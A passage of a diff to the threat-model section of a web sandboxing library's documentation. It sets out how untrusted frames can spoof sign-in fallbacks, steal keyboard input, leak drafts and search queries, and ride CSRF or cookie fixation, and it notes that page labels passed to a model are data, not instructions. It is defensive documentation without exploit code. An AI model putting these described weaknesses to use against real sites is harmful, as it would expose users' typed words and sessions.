`none`) and for a navigation that opens it (GET or HEAD); anything else another origin sends is a
|
|
531
|
+
403 before the upstream. A WebSocket opens from its own origin only, through `content.access`,
|
|
532
|
+
which the Node adapter asks before `appSocket` and a Worker asks on its own upgrade path (P101).
|
|
533
|
+
- `proxyTo`, Porthole's HTTP relay (pass it as `upstream`), also rewrites the headers: requests go
|
|
534
|
+
with `redirect: "manual"`; `Host`, hop-by-hop headers, `X-Forwarded-*`, `Forwarded` and
|
|
535
|
+
`X-Real-IP` are dropped; an `Origin` or `Referer` naming the content origin is rewritten to the
|
|
536
|
+
app's, any other goes as sent (so an app that checks `Origin` sees a foreign one).
|
|
710
537
|
|
|
711
538
|
**The host must**
|
|
712
|
-
|
|
713
539
|
- Preview only code it trusts: the app gets no shell and no egress control (P020).
|
|
714
540
|
- Refuse, in its `instance` callback, upstream addresses it doesn't mean (loopback, private
|
|
715
541
|
networks): Porthole takes any http(s) URL, and the client's proposal is untrusted (SSRF).
|
|
716
|
-
- In a relay of its own, rewrite the headers as `proxyTo` does
|
|
717
|
-
|
|
718
|
-
|
|
719
|
-
|
|
720
|
-
|
|
542
|
+
- In a relay of its own, rewrite the headers as `proxyTo` does (`upstreamHeaders.request(headers, {
|
|
543
|
+
origin, target })`). A WebSocket relay that takes the access from `content.access(request)` gets
|
|
544
|
+
the browser's whole `Cookie` header, Porthole's cookies included: send the app the headers
|
|
545
|
+
`upstreamHeaders.request(…, { websocket: true })` makes (Porthole's cookies removed, the upgrade's
|
|
546
|
+
own headers kept).
|
|
721
547
|
- Keep previews off pages with displays that read data (S7).
|
|
722
|
-
-
|
|
723
|
-
|
|
724
|
-
|
|
725
|
-
outcome in the same place in your UI as a served display's.
|
|
548
|
+
- Never put a preview's outcome in the same place in your UI as a served display's: a served
|
|
549
|
+
display's `blocked` comes only from its door or your issue endpoint (P125), a url-mode app's from
|
|
550
|
+
the app.
|
|
726
551
|
|
|
727
552
|
**Not guaranteed**
|
|
728
|
-
|
|
729
553
|
- The app's network is its own.
|
|
730
|
-
-
|
|
731
|
-
|
|
732
|
-
|
|
733
|
-
|
|
734
|
-
|
|
554
|
+
- So is its word about how it loaded. It shares its origin with Porthole's entry page and status
|
|
555
|
+
pages and has no shell to speak first, so it can make the display's `outcome` any `blocked`, with
|
|
556
|
+
any code, and the host show its fallback ("open this in a new tab to sign in") with a link out of
|
|
557
|
+
the page (P124). A host that previews code it doesn't trust words that fallback as its own, not as
|
|
558
|
+
Porthole's or the person's sign-in.
|
|
735
559
|
- A page on another origin can still open the app by a navigation (a link, a frame of its own),
|
|
736
560
|
which reaches the app's GET routes as any link does.
|
|
737
|
-
- A request with neither `Origin` nor `Sec-Fetch-Site` goes on: in browsers without fetch
|
|
738
|
-
|
|
739
|
-
|
|
740
|
-
|
|
741
|
-
|
|
742
|
-
- Through `proxyTo`, `True-Client-IP` and `CF-Connecting-IP` reach the app as the client sent
|
|
743
|
-
them.
|
|
561
|
+
- A request with neither `Origin` nor `Sec-Fetch-Site` goes on: in browsers without fetch metadata
|
|
562
|
+
(Safari before 16.4, older Chromium and Firefox) a sibling's GET subresource carries the app's
|
|
563
|
+
cookie (GET CSRF, script-shaped responses); POSTs are still refused, by `Origin`. The app's own
|
|
564
|
+
script can set a non-`HttpOnly` `__Host-porthole-<key>` where none exists: fixation with a session
|
|
565
|
+
it holds (P101).
|
|
566
|
+
- Through `proxyTo`, `True-Client-IP` and `CF-Connecting-IP` reach the app as the client sent them.
|
|
744
567
|
- The app is a sibling of every other content origin, with no CSP of Porthole's beyond
|
|
745
568
|
`frame-ancestors`: S3's cookie problems are easier from here.
|
|
746
569
|
|
|
747
570
|
### S7. Several displays on one page
|
|
748
571
|
|
|
749
|
-
**The rule: a page's egress is the union of its frames' egress.** Any frame can `postMessage`
|
|
750
|
-
|
|
751
|
-
|
|
572
|
+
**The rule: a page's egress is the union of its frames' egress.** Any frame can `postMessage` any
|
|
573
|
+
other frame on its page, and nothing inside a frame can stop it, so what one display was given can
|
|
574
|
+
be handed to the display with the widest network.
|
|
752
575
|
|
|
753
576
|
| Beside a display that reads the host's data or holds what the person types | |
|
|
754
577
|
| --- | --- |
|
|
755
578
|
| Closed egress, or Porthole's libraries | Fine. |
|
|
756
|
-
| `LIBRARY_CDNS` | Fine for ordinary data
|
|
579
|
+
| `LIBRARY_CDNS` | Fine for ordinary data, not for highly sensitive data: every request path to its nine origins is a narrow channel read by their operators (S2). |
|
|
757
580
|
| An MCP view with `connectDomains` | Its domains become the page's. |
|
|
758
581
|
| `anyHttps` | No: any image URL is a way out. |
|
|
759
582
|
| url mode | No: the app's network is its own. |
|
|
760
583
|
|
|
761
|
-
- Porthole doesn't enforce this: `defineDisplays` takes any kinds together, and
|
|
762
|
-
|
|
763
|
-
- Where another app frames yours (`framedBy`, P141, P144), the
|
|
764
|
-
|
|
765
|
-
|
|
766
|
-
check `event.source` and `event.origin` (§6 "What every host must do").
|
|
584
|
+
- Porthole doesn't enforce this: `defineDisplays` takes any kinds together, and `frameSources` is
|
|
585
|
+
the union of all of theirs. Group displays by page yourself.
|
|
586
|
+
- Where another app frames yours (`framedBy`, P141, P144), the outer page's frames are in the union
|
|
587
|
+
too; grouping them is its authors' job, and its listeners must check `event.source` and
|
|
588
|
+
`event.origin` (§6 "What every host must do").
|
|
767
589
|
- An opaque frame also inherits the page's own CSP, so a strict page narrows its opaque frames
|
|
768
590
|
further (P058). A served frame has only its own policy.
|
|
769
591
|
|
|
770
|
-
**What sharing a scope costs, which Porthole does not stop
|
|
771
|
-
controls
|
|
772
|
-
|
|
773
|
-
|
|
774
|
-
|
|
775
|
-
|
|
776
|
-
|
|
777
|
-
- spend its three restarts (`MAX_RESTARTS`) by reloading or wiping it, so its outcome is a
|
|
778
|
-
|
|
779
|
-
|
|
780
|
-
|
|
781
|
-
|
|
782
|
-
|
|
783
|
-
- deface it — rewrite its document — since they share an origin;
|
|
592
|
+
**What sharing a scope costs, which Porthole does not stop.** The premise is a scope its author
|
|
593
|
+
controls (one person's artifact and its versions, one session's widgets), not one shared by people
|
|
594
|
+
who distrust each other. A scope's displays share one origin and run content there with
|
|
595
|
+
`allow-same-origin`, so one reaches another's document (`top[i]`) and its storage. The door stops a
|
|
596
|
+
sibling speaking Porthole's word for another display (P125), but a sibling can still, against
|
|
597
|
+
another display of its scope:
|
|
598
|
+
|
|
599
|
+
- spend its three restarts (`MAX_RESTARTS`) by reloading or wiping it, so its outcome is a `timeout`
|
|
600
|
+
or, once they run out, `blocked: error` (a fallback, no link) the person may read as the display's
|
|
601
|
+
own. It always has an outcome: restarts don't restart its clock (one `loadTimeoutMs` per loading
|
|
602
|
+
episode, from its first run until an outcome), and a frame stopped after its restarts is `blocked:
|
|
603
|
+
error`;
|
|
604
|
+
- deface it (rewrite its document), since they share an origin;
|
|
784
605
|
- read a sandbox-proxy view's HTML once the host has sent it into the view.
|
|
785
606
|
|
|
786
|
-
|
|
787
|
-
|
|
788
|
-
|
|
789
|
-
fallback (a sign-in prompt with a link out): that is the door's wall (P125).
|
|
607
|
+
To deny these, put displays that distrust each other in **different scopes** (different origins);
|
|
608
|
+
there is no other way (P149). What a sibling cannot do is forge Porthole's own fallback (a sign-in
|
|
609
|
+
prompt with a link out): that is the door's wall (P125).
|
|
790
610
|
|
|
791
611
|
## 7. The display layer and the app runtime
|
|
792
612
|
|
|
793
613
|
### The display layer
|
|
794
614
|
|
|
795
615
|
What it is: the presets, the isolation, the egress walls, the shell, the bridge for the display's
|
|
796
|
-
host functions (
|
|
797
|
-
`subscribeData`, `setModelContext`, `reportError`, annotations, find in page) and the generated
|
|
798
|
-
manual.
|
|
616
|
+
host functions (S1's table, annotations, find in page) and the generated manual.
|
|
799
617
|
|
|
800
618
|
**Porthole guarantees** the two lines of [§4](#4-two-lines-of-defense) for each display except url
|
|
801
|
-
mode (S6), with S1–S5's open items
|
|
802
|
-
|
|
803
|
-
|
|
804
|
-
|
|
805
|
-
|
|
806
|
-
|
|
807
|
-
|
|
808
|
-
|
|
809
|
-
|
|
810
|
-
|
|
811
|
-
|
|
812
|
-
|
|
813
|
-
|
|
814
|
-
|
|
815
|
-
|
|
816
|
-
|
|
817
|
-
|
|
818
|
-
|
|
819
|
-
|
|
820
|
-
|
|
821
|
-
|
|
822
|
-
|
|
823
|
-
|
|
824
|
-
|
|
825
|
-
|
|
826
|
-
|
|
827
|
-
|
|
828
|
-
|
|
829
|
-
|
|
830
|
-
|
|
831
|
-
|
|
832
|
-
|
|
833
|
-
|
|
834
|
-
|
|
835
|
-
|
|
836
|
-
|
|
837
|
-
|
|
838
|
-
|
|
839
|
-
|
|
840
|
-
|
|
841
|
-
|
|
842
|
-
|
|
843
|
-
|
|
844
|
-
|
|
845
|
-
|
|
846
|
-
|
|
847
|
-
|
|
848
|
-
where the
|
|
849
|
-
|
|
850
|
-
|
|
851
|
-
|
|
852
|
-
|
|
853
|
-
|
|
854
|
-
|
|
855
|
-
|
|
856
|
-
|
|
857
|
-
only to their author's own frame (Porthole can't tell whose frame it is), the page is the one
|
|
858
|
-
being commented on and already sees where the person selects (`selected`), and closed egress
|
|
859
|
-
([§4](#4-two-lines-of-defense)) keeps it off the network. Closed egress doesn't cover the
|
|
860
|
-
channels the host itself opens, and through them a draft's existence, place and timing can
|
|
861
|
-
leave: a page with the runtime's `db` (writes) and `user` can call `user.get()`, read the marks
|
|
862
|
-
shown to it, and write "viewer A is drafting at section 3" where its author and other viewers
|
|
863
|
-
read it before A posts; once A posts, the page can tie that posted comment to A (the anchor and
|
|
864
|
-
the time match). Origins a config declares for egress (an MCP App's `connectDomains`, S5; an
|
|
865
|
-
`egress` a host opened in its own config; the `liveWidget` preset itself has none, P103), and a
|
|
866
|
-
host function that sends the page's words somewhere, are channels of the same kind (S4, and the
|
|
867
|
-
app runtime below). A host that sends drafts to such a page accepts that its author and other viewers can
|
|
868
|
-
learn of them. A draft carries nothing else: the host drops its count before the frame (control
|
|
869
|
-
`draft-count`), so a page can't read how many drafts are at an anchor unless the host sends a
|
|
870
|
-
mark per draft, and its id is the host's, as any mark's (random, never the draft's words); the
|
|
871
|
-
draft's words are typed into the host's composer, which the page can try to take the keyboard
|
|
872
|
-
from ("The keyboard" below). A host
|
|
873
|
-
that sends drafts into a frame others see (a shared screen, a frame several viewers share) tells
|
|
874
|
-
that page, and anything it draws for them, what its author hasn't posted.
|
|
619
|
+
mode (S6), with S1–S5's open items. One config generates the CSP, the sandbox, the shell's wiring
|
|
620
|
+
and the manual, and a test holds them in agreement (`test/agreement.test.ts`), so the agent is told
|
|
621
|
+
what the sandbox allows. The leak suite tests each wall on three engines; `defineHostConformance`
|
|
622
|
+
runs it against a host's own page. **The host must** do what [every host](#what-every-host-must-do)
|
|
623
|
+
does, write the handlers (their effects are its own), and group displays by page (S7).
|
|
624
|
+
|
|
625
|
+
**The host's fallback** (P040, P124, P125). On a `blocked` outcome the host draws its own UI in
|
|
626
|
+
Porthole's wording (`frameFallback`: "Open this in a new tab to sign in", "You can't open this
|
|
627
|
+
anymore") with a link out of the page. The person takes it for the host's and Porthole's, so content
|
|
628
|
+
must not be able to summon it. A frame status (`porthole/notifications/frame-status`) doesn't say
|
|
629
|
+
who sent it: Porthole's status pages are documents of the frame's own window and origin, as content
|
|
630
|
+
is. So a `blocked` is the word of a page of Porthole's server, a gateway or the host's own pages,
|
|
631
|
+
never of an opaque frame or of content in a frame that speaks:
|
|
632
|
+
|
|
633
|
+
- **A served display** (a served shell, a page, a view through the sandbox proxy) shares its scope's
|
|
634
|
+
origin with content that runs with `allow-same-origin` and can reach a new document there before
|
|
635
|
+
its first script runs. So **no frame status from its own frame is ever taken** (each run, the
|
|
636
|
+
first is dropped with one `frame-status` host error: a display trying to speak as Porthole), and
|
|
637
|
+
its silence is a `timeout`, never a fallback. Its word is its **door**'s: a page of Porthole's on
|
|
638
|
+
the same origin, in a hidden frame of the host's (`sandbox="allow-scripts"`, no name, `inert`,
|
|
639
|
+
0×0) that shares an origin with no content and that no sandboxed sibling can navigate, read before
|
|
640
|
+
the content frame is made (`open`, or `blocked` and why). A sibling can't read, navigate or speak
|
|
641
|
+
from it. No timing rule can stand in for it: a `load` event is not a committed document.
|
|
642
|
+
- A `blocked` before any frame (`sign-in`, `denied`, `not-found`) is the host's own issue endpoint's
|
|
643
|
+
refusal, mapped by `createHost`: the host's backend's word, as trustworthy as that endpoint.
|
|
644
|
+
- An **opaque frame**'s every status is the content's. A **url-mode app**'s is taken, so it can say
|
|
645
|
+
any outcome (S6).
|
|
646
|
+
- A served location without a door (a server older than the host, a locator that drops it, a clean
|
|
647
|
+
address framed as it is) is refused before any frame: `blocked: locate` and a `door` host error.
|
|
648
|
+
Upgrade the server or Worker first, and resolve clean addresses through issue (S4). In a frame, a
|
|
649
|
+
clean address gets a page with no script that goes nowhere, never the app's authorize or sign-in.
|
|
650
|
+
- A file set's entry must be a page (`.html`/`.htm`; `checkFileSet`, `admitFiles` and `lintFiles`
|
|
651
|
+
refuse another). A set stored before that rule answers Porthole's `not-found` status page.
|
|
652
|
+
|
|
653
|
+
What remains are the costs of sharing a scope (S7).
|
|
654
|
+
|
|
655
|
+
**Annotations** (`annotate`, P053, P104, P107; mechanism and the control proving each point:
|
|
656
|
+
[DESIGN.md](DESIGN.md) § Annotations). The shell that draws marks and reports anchors shares the
|
|
657
|
+
content's realm.
|
|
658
|
+
|
|
659
|
+
- *What content learns.* All of each `show`: every mark's id, anchor and any `count`. Give ids that
|
|
660
|
+
say nothing (never a person's name or a comment's words), and a count only where the page may know
|
|
661
|
+
how many there are. Who commented and what they wrote stay in the host's UI outside the frame, as
|
|
662
|
+
does what the person types there, unless the page takes the keyboard.
|
|
663
|
+
- *Drafts* (P107). A `kind: "draft"` mark is drawn apart: the page learns its viewer is writing a
|
|
664
|
+
comment there before they post it. Accepted where the page has no way out: the host sends drafts
|
|
665
|
+
only to their author's own frame (Porthole can't tell whose frame it is), the page already sees
|
|
666
|
+
where the person selects, and closed egress keeps it off the network. Any channel the host opens
|
|
667
|
+
carries a draft's existence, place and timing: `db` writes with `user` (a page can record "viewer
|
|
668
|
+
A is drafting at section 3" for its author and other viewers before A posts, then tie A's posted
|
|
669
|
+
comment to it), declared egress (an MCP App's `connectDomains`, an `egress` the host opened;
|
|
670
|
+
`liveWidget` has none, P103), or a host function that sends the page's words somewhere. A host
|
|
671
|
+
that sends drafts to such a page accepts that. A draft carries nothing else: its count is dropped
|
|
672
|
+
before the frame (the page can't count drafts at an anchor unless sent a mark per draft), and its
|
|
673
|
+
id is the host's (random). Drafts sent into a frame others see (a shared screen) tell that page,
|
|
674
|
+
and what it draws for them, what their author hasn't posted.
|
|
875
675
|
- *What content can fake.* Any report: a selection while the host asks for one, where marks are,
|
|
876
|
-
|
|
877
|
-
|
|
878
|
-
|
|
879
|
-
|
|
880
|
-
|
|
881
|
-
|
|
882
|
-
|
|
883
|
-
|
|
884
|
-
|
|
885
|
-
|
|
886
|
-
|
|
887
|
-
|
|
888
|
-
|
|
889
|
-
|
|
890
|
-
|
|
891
|
-
|
|
892
|
-
|
|
893
|
-
|
|
894
|
-
|
|
895
|
-
|
|
896
|
-
|
|
897
|
-
|
|
898
|
-
|
|
899
|
-
|
|
900
|
-
|
|
901
|
-
|
|
902
|
-
|
|
903
|
-
|
|
904
|
-
|
|
905
|
-
|
|
906
|
-
|
|
907
|
-
|
|
908
|
-
|
|
909
|
-
|
|
910
|
-
|
|
911
|
-
the
|
|
912
|
-
|
|
913
|
-
|
|
914
|
-
|
|
915
|
-
and
|
|
916
|
-
|
|
917
|
-
the
|
|
918
|
-
|
|
919
|
-
|
|
920
|
-
|
|
921
|
-
|
|
922
|
-
|
|
923
|
-
|
|
924
|
-
|
|
925
|
-
the page
|
|
926
|
-
|
|
927
|
-
|
|
928
|
-
|
|
929
|
-
|
|
930
|
-
|
|
931
|
-
|
|
932
|
-
|
|
933
|
-
|
|
934
|
-
|
|
935
|
-
|
|
936
|
-
|
|
937
|
-
|
|
938
|
-
|
|
939
|
-
|
|
940
|
-
|
|
941
|
-
|
|
942
|
-
|
|
943
|
-
|
|
944
|
-
|
|
945
|
-
|
|
946
|
-
|
|
947
|
-
|
|
948
|
-
|
|
949
|
-
|
|
950
|
-
|
|
951
|
-
|
|
952
|
-
`
|
|
953
|
-
|
|
954
|
-
|
|
955
|
-
|
|
956
|
-
|
|
957
|
-
|
|
958
|
-
|
|
959
|
-
|
|
960
|
-
|
|
961
|
-
|
|
962
|
-
|
|
963
|
-
|
|
964
|
-
|
|
965
|
-
|
|
966
|
-
|
|
967
|
-
|
|
968
|
-
|
|
969
|
-
|
|
970
|
-
|
|
971
|
-
|
|
972
|
-
`
|
|
973
|
-
|
|
974
|
-
|
|
975
|
-
|
|
976
|
-
- *
|
|
977
|
-
(
|
|
978
|
-
|
|
979
|
-
|
|
980
|
-
|
|
981
|
-
|
|
982
|
-
|
|
983
|
-
a
|
|
984
|
-
|
|
985
|
-
|
|
986
|
-
|
|
987
|
-
|
|
988
|
-
|
|
989
|
-
|
|
990
|
-
|
|
991
|
-
|
|
992
|
-
|
|
993
|
-
|
|
994
|
-
|
|
995
|
-
|
|
996
|
-
|
|
997
|
-
|
|
998
|
-
|
|
999
|
-
|
|
1000
|
-
|
|
1001
|
-
|
|
1002
|
-
|
|
1003
|
-
|
|
1004
|
-
|
|
1005
|
-
|
|
1006
|
-
|
|
1007
|
-
- *What doesn't hold against content that does.* The shell shares the content's realm. It reads
|
|
1008
|
-
and stops a marker's press through the platform's own functions and getters, kept before
|
|
1009
|
-
content runs (P105, control `marker-originals`), so patching `Event`'s or `MouseEvent`'s
|
|
1010
|
-
prototypes no longer lets content hear a press or make the shell misread one. But the layer's
|
|
1011
|
-
nodes pass through built-ins content can replace (the shell's insertion guards call
|
|
1012
|
-
`Element.prototype.matches` on them), so content can reach the closed shadow root that way,
|
|
1013
|
-
read the markers and rewrite them (the review of P104, on all three engines). Nothing in the
|
|
1014
|
-
layer is secret: it holds only what `show` sent, which the content can read anyway.
|
|
1015
|
-
- *Clearing the selection* (P115). `annotations.clearSelection()` is the host's word to the frame
|
|
1016
|
-
(`porthole/annotate.clearSelection`), with nothing back: the shell takes the page's selection
|
|
1017
|
-
away through `Selection.prototype.removeAllRanges` as it was before content ran (control
|
|
1018
|
-
`clear-selection`: a page that replaced it keeps its selection otherwise) and forgets the one it
|
|
1019
|
-
told, so the clear makes no `unselected` or `selected`. It goes host to frame only: the host
|
|
1020
|
-
takes no such message from a frame, and the shell takes it only from its frame's parent (a page
|
|
1021
|
-
that posts it to its own window is dropped). It gives the page no power it lacks: a page can
|
|
1022
|
-
clear or select its own text at any time, and can select the words again right after a clear
|
|
1023
|
-
(the host hears that as any selection, while it asked for text). But the page sees the clear
|
|
1024
|
-
(the message, and a `selectionchange` with no press of its own) and so learns when the person
|
|
1025
|
-
was done with its selection (P121, after the audit of P115). A host that clears only when a
|
|
1026
|
-
draft is added tells the page that a draft exists on its words, and when: clear when the
|
|
1027
|
-
composer opens, or on every close, kept or dismissed, or leave it to the person's next click,
|
|
1028
|
-
never only on a draft, above all for a page `mayPassOn` says to keep drafts from (ADOPTING.md
|
|
1029
|
-
§ Annotations).
|
|
1030
|
-
- *What content can always do.* Hide, shrink, move or cover the layer (its scripts can rewrite the
|
|
1031
|
-
layer's style, lay elements over it, or transform the page it sits in), change its words so a
|
|
1032
|
-
mark is orphaned, or flood the shared rate so real reports are refused. It can also make the
|
|
1033
|
-
shell's own work dear by its layout: finding marks again and placing markers after a change of
|
|
1034
|
-
the content runs in the frame, once per quiet run of changes, and each marker in view is placed
|
|
1035
|
-
by a bounded number of hit tests (measured with 300 marks with counts in view: about 20 ms a
|
|
1036
|
-
change; 200 in a 3,000-line block: 25 to 50 ms; P105). In an opaque frame that shares the host's
|
|
1037
|
-
process, that time is the host's too ([§5](#5-out-of-scope)). An honest page's
|
|
1038
|
-
follow-up reports, of the marks (while one has a marker) and of the person's selection after a
|
|
1039
|
-
scroll, share one clock: at most one a second together, each only when its box moved (P105).
|
|
1040
|
-
- So `activated` opens the host's own view of a mark it already shows, placed within the frame's
|
|
1041
|
-
box (better: beside it), guarded as §6 says, and never acts on it (no post, submit, discard,
|
|
1042
|
-
resolve, delete or reply); an anchor or a rect decides where something is drawn, never who may
|
|
1043
|
-
see or do anything.
|
|
1044
|
-
|
|
1045
|
-
**Find in page** (`find`, P131). The host draws its own find bar; the shell finds the query in the
|
|
1046
|
-
content's text (annotations' text index) and highlights the matches in a layer of its own (a closed
|
|
1047
|
-
shadow root, as annotations' marks; never the CSS Custom Highlight API, which is the content's to
|
|
1048
|
-
read and rewrite). It shares its realm with the content, so:
|
|
1049
|
-
|
|
1050
|
-
- *What content learns.* The query (`porthole/find.query`, posted into the frame's window), each
|
|
1051
|
-
time the host sends it (a bar that searches as the person types sends their typing, key by key),
|
|
1052
|
-
whether it is case-sensitive, each move to the next or previous match, when the bar clears, and
|
|
1053
|
-
whether the host draws its own bar (`porthole/find.handled`). The query is the person's words,
|
|
1054
|
-
typed in the host's own UI: a page with a way out (an MCP App's `connectDomains`, S5; egress a
|
|
1055
|
-
host opened; a carrier such as `db`, `mayPassOn`) can send what the person searched for to its
|
|
1056
|
-
author. That is why `find` is a capability a config declares, in no preset by default; accepted
|
|
1057
|
-
by the product owner, with hosts sending queries on a pause or Enter rather than at every key
|
|
1058
|
-
(P131). A query holds only for the content it was asked of: a new run or other content forgets
|
|
1059
|
-
it, so another page is never searched with it (it would learn the words from what matched).
|
|
1060
|
-
- *What content can say.* Any count and current match (bounded: at most 1,000, whole numbers, the
|
|
1061
|
-
current one among them), any box inside its frame (clamped to the frame's viewport, as
|
|
1062
|
-
annotations' boxes, P104), and an `updated` while a query is shown. The host takes an answer only
|
|
1063
|
-
for a query it asked, under that query's id; anything malformed is `"unsupported"` or a refusal.
|
|
1064
|
-
A find bar's numbers, never a fact about the content.
|
|
1065
|
-
- *The shortcut.* While the host draws its own bar (`find.takeShortcut(true)`), the shell cancels
|
|
1066
|
-
the browser's find on Cmd+F (Apple) or Ctrl+F (elsewhere) in the frame and says `requested`; a
|
|
1067
|
-
page that handles the key itself keeps it. The page can say `requested` without the key, or keep
|
|
1068
|
-
the key from the shell. The host takes it only while the platform says the page's focus is in
|
|
1069
|
-
the frame (control `find-requested-focus`): a page that hasn't the keyboard can't open the
|
|
1070
|
-
host's bar, which takes focus, while the person types in the host's composer, so their next
|
|
1071
|
-
keys aren't steered into the bar and from there into the frame as queries. That holds where a
|
|
1072
|
-
page can't take the keyboard by itself (Firefox, without the person's gesture); on Chromium and
|
|
1073
|
-
WebKit a page takes it first ("The keyboard" below), and then has the keys anyway. A real
|
|
1074
|
-
press of the shortcut is always in the frame, so the rule refuses none. Where a platform can't
|
|
1075
|
-
tell, it passes. Open the bar, nothing more.
|
|
1076
|
-
- *What content can always do.* Hide, cover or move the layer, change its words so the count
|
|
1077
|
-
changes, reach the layer through built-ins it patched (as annotations' layer, P105), or make the
|
|
1078
|
-
search dear: linear in its text, at most 1,000 matches kept and 10,000 looked at, a query of 256
|
|
1079
|
-
characters, found again at most once a second while the content changes, and of a burst of
|
|
1080
|
-
queries only the latest searched (the others answered superseded); in an opaque frame that
|
|
1081
|
-
shares the host's process that time is the host's too ([§5](#5-out-of-scope)).
|
|
1082
|
-
|
|
1083
|
-
**The keyboard** (P109, P149). Any display, of any kind and any version, can move the keyboard
|
|
1084
|
-
into its frame: `element.focus()` runs in the content's realm, where nothing of Porthole can stop
|
|
1085
|
-
it, and on Chromium and WebKit it needs no gesture. What the person goes on typing then goes to the
|
|
1086
|
-
page, which can keep it (`db`) or send it out through any egress it has, until the person sees
|
|
1087
|
-
their words stop appearing and clicks back. The page knows when it matters: its shell reports
|
|
1088
|
-
`selected` when the host opens a composer on it, and draft marks (P107) say where the person is
|
|
1089
|
-
writing. P107 and P108 didn't make this possible; they put the person's unposted words beside the
|
|
1090
|
-
frame and tell the page when.
|
|
1091
|
-
|
|
1092
|
-
- *Nothing takes it back* (0.16.0, P149). From 0.13 to 0.15 `createHost` guarded every display
|
|
1093
|
-
(P109): a move of the keyboard from one of the host's text fields into a frame was undone unless
|
|
1094
|
-
the guard judged it the person's own. It had to guess. The host's page sees no press inside a
|
|
1095
|
-
cross-site frame on full Chromium (the frame is out of process) nor on Firefox, so the guard
|
|
1096
|
-
read what it could (`:active`, the pointer's place, the time since the person's last key, and
|
|
1097
|
-
for a nested page its shell's word on its activation, then on its presses: P111, P120, P122,
|
|
1098
|
-
P148), and each rule refused some real clicks while a page could still pass for the person
|
|
1099
|
-
where the signals ran out (a key typed slower than 250 ms apart, P123). A wall that guesses is
|
|
1100
|
-
no wall, and its wrong guesses were the person's own clicks refused; it is gone, with the
|
|
1101
|
-
nested pages built to feed it.
|
|
1102
|
-
- *What holds without it.* Content can't read the host's page or its fields, can't move focus
|
|
1103
|
-
into a field of the host's, and gets no key typed while the focus is in the host's page. A page
|
|
1104
|
-
that takes the keyboard gets the keys typed after its move and before the person notices: what
|
|
1105
|
-
they meant for the host's composer, not what is already in it.
|
|
1106
|
-
- *What a host does.* Shows no untrusted display beside a field that must never lose a key (a
|
|
1107
|
-
password, a payment field); opens the views a display's report asks for without focus (§6);
|
|
1108
|
-
and moves focus itself with `display.focus()` and `focusField(field)`, which land on every
|
|
1109
|
-
engine (Firefox ignores a field's plain `focus()` while a frame that takes focus back on its
|
|
1110
|
-
blur holds it).
|
|
676
|
+
`activated` for any mark shown with a marker (a count, or a draft) with no click and any box;
|
|
677
|
+
look-alike markers, or its own elements over Porthole's. The host takes a report only for what it
|
|
678
|
+
asked and ids it shows, rebuilt within `ANNOTATION_LIMITS`, at 120 a minute, and drops `activated`
|
|
679
|
+
for a mark without a marker or an id it doesn't show. No gesture is asked (P149; the host page's
|
|
680
|
+
activation lasts 5 s after any gesture, so a timed fake would pass anyway): a page can open the
|
|
681
|
+
host's view of a shown mark at any moment, under the person's pointer. The guard on that view (§6)
|
|
682
|
+
is the defence.
|
|
683
|
+
- *Labels.* An anchor's `label` is the page's text, maybe words the person never sees (`alt`,
|
|
684
|
+
`aria-label`, `title`). The host strips from every label what a person can't see: format, bidi and
|
|
685
|
+
zero-width characters, default-ignorable code points, variation selectors, tags, private-use
|
|
686
|
+
characters and controls (P105, without P100's exceptions for emoji and shaped letters). A text
|
|
687
|
+
anchor's quote (`exact`) keeps them, to be found again. A quote or label handed to a model is the
|
|
688
|
+
page's words, never instructions.
|
|
689
|
+
- *Boxes* (`selected`, `activated`, `anchored`) are the page's word, clamped to the frame's viewport
|
|
690
|
+
before the host hears them: the part inside is kept; a box wholly outside becomes one of no size
|
|
691
|
+
on the nearest edge; a platform `viewport()` that answers no size, or throws, clamps every box to
|
|
692
|
+
one of no size at the frame's corner. The page can't place the host's UI over the rest of the app,
|
|
693
|
+
but picks any point in its frame: a positioning hint, never a fact. Boxes are in the frame's CSS
|
|
694
|
+
px; a host that scales or transforms the frame maps them through that transform. Reading the
|
|
695
|
+
frame's size per report, before the rate, forces a layout of the host's page per message, as a
|
|
696
|
+
repeated `ui/initialize` already does (accepted, P105).
|
|
697
|
+
- *Places in the document* (P132, P133, P137, P150). `documentRect`, `lastLineDocumentRect` and an
|
|
698
|
+
element pick's `pointDocument`, with the report's `scroll`, are checked (finite, within
|
|
699
|
+
`ANNOTATION_LIMITS.coordinate`, sizes not negative; a malformed one, a last line or a point without
|
|
700
|
+
`scroll`, or a point on a text selection, drops the report) but not clamped (a clamp would erase
|
|
701
|
+
their purpose): the page chooses where the host's UI goes, outside the frame too (accepted; the
|
|
702
|
+
host clips, §6). They reveal nothing else.
|
|
703
|
+
- *A followed selection* (P138, P140). `selectionTracked` boxes are checked and clamped likewise,
|
|
704
|
+
taken only while the host follows the selection (otherwise dropped unread, without a refusal),
|
|
705
|
+
within `tracked`'s 60 a second, and carry none of the page's words; `inView` is false unless the
|
|
706
|
+
box reaches the frame's viewport as the host reads it. The page reads the host's word starting and
|
|
707
|
+
ending the following, and `keepSelection` in every `start`: it learns when a composer is open on
|
|
708
|
+
its selection (as `track` tells it which card is open, P112) and, before any pick, that the host
|
|
709
|
+
will follow one. End the following on every close, kept or dismissed. The follow is drawn in the
|
|
710
|
+
shell's closed layer, which takes no pointer; what is kept (the element picked, a copy of the
|
|
711
|
+
range) is the page's own DOM, which tells it nothing new and which it can remove (`orphaned`). For
|
|
712
|
+
a host that neither follows nor said `keepSelection`, the frame draws and keeps nothing after a
|
|
713
|
+
pick.
|
|
714
|
+
- *A press on a marker*, against content that patches no built-in, reaches none of the content's
|
|
715
|
+
handlers and moves neither focus nor a selection: content can't act on it or cancel it. Content
|
|
716
|
+
can't read or reach inside the layer, but can tell a marker was pressed, and roughly where
|
|
717
|
+
(`:hover`, `:active`, the pointer leaving its element, the frame's activation). On touch (P119) a
|
|
718
|
+
marker takes a 44 by 44 px box around its bubble, so content loses a tap within 13 px of one. The
|
|
719
|
+
pointer type is read from trusted events only, and a real `activated` needs a trusted click.
|
|
720
|
+
Content that patches built-ins still can't hear a press or make the shell misread one (P105), but
|
|
721
|
+
can reach the closed layer through `Element.prototype.matches`, and read and rewrite the markers.
|
|
722
|
+
Nothing there is secret: the layer holds only what `show` sent.
|
|
723
|
+
- *The keyboard on a marker* (P133). A marker is a button with a tab stop. Enter and Space on it are
|
|
724
|
+
stopped before the content and make a trusted click the content doesn't get; every other key, Tab
|
|
725
|
+
too, is the page's. So markers join a focus order the content controls (accepted, reversing P104's
|
|
726
|
+
point 6): it can take the focus from a marker, keep the person from reaching one, draw a
|
|
727
|
+
look-alike, and tell that the person is on one. That gains it nothing: a marker's press only makes
|
|
728
|
+
